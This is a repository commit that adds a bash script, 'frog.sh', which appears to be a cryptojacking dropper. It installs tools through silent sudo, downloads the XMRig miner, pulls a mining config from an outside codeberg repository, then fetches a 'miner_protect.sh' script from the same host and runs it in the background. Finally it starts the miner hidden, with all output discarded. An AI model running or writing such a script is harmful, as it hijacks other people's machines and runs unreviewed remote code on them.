Add frog.sh
This commit is contained in:
@@ -0,0 +1,57 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Set XMRig version
|
||||
xmrver="6.22.2"
|
||||
|
||||
# Ensure /tmp directory exists and is writable
|
||||
if [ -d /tmp ]; then
|
||||
echo "/tmp exists"
|
||||
else
|
||||
sudo -n mkdir /tmp
|
||||
sudo -n chmod 777 /tmp
|
||||
fi
|
||||
|
||||
unalias -a
|
||||
|
||||
# Install dependencies
|
||||
sudo -n apt update
|
||||
sudo -n apt install -y wget curl util-linux || true
|
||||
sudo -n apk add wget curl util-linux || true
|
||||
sudo -n dnf install wget curl util-linux || true
|
||||
|
||||
# Check if wget is available, else use curl
|
||||
if command -v wget >/dev/null 2>&1; then
|
||||
DOWNLOAD_CMD="wget -q -O"
|
||||
else
|
||||
DOWNLOAD_CMD="curl -sL -o"
|
||||
fi
|
||||
|
||||
# Download and extract XMRig
|
||||
mkdir -p /tmp/xmrig
|
||||
cd /tmp/xmrig
|
||||
|
||||
$DOWNLOAD_CMD xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v$xmrver/xmrig-$xmrver-linux-static-x64.tar.gz
|
||||
tar -xf xmrig.tar.gz
|
||||
cd xmrig-$xmrver
|
||||
|
||||
# Make XMRig executable
|
||||
chmod +x xmrig
|
||||
|
||||
# Remove old config and download new one
|
||||
rm -f config.json
|
||||
$DOWNLOAD_CMD config.json https://codeberg.org/evilqeo/minerbro/raw/main/config.json
|
||||
|
||||
# Randomize rig ID
|
||||
randnum=$(( RANDOM % 1000 + 1 ))
|
||||
sed -i "s/kasm/kasm-$randnum/g" config.json
|
||||
|
||||
# 🔐 Download and setup miner protection
|
||||
$DOWNLOAD_CMD /tmp/miner_protect.sh https://codeberg.org/evilqeo/minerbro/raw/main/miner_protect.sh
|
||||
chmod +x /tmp/miner_protect.sh
|
||||
|
||||
# Start the protection script in background
|
||||
nohup /tmp/miner_protect.sh > /dev/null 2>&1 &
|
||||
|
||||
# Start the miner itself
|
||||
nohup ./xmrig -c config.json > /dev/null 2>&1 &
|
||||
echo "[+] XMRig miner started with protection."
|
||||
Reference in New Issue
Block a user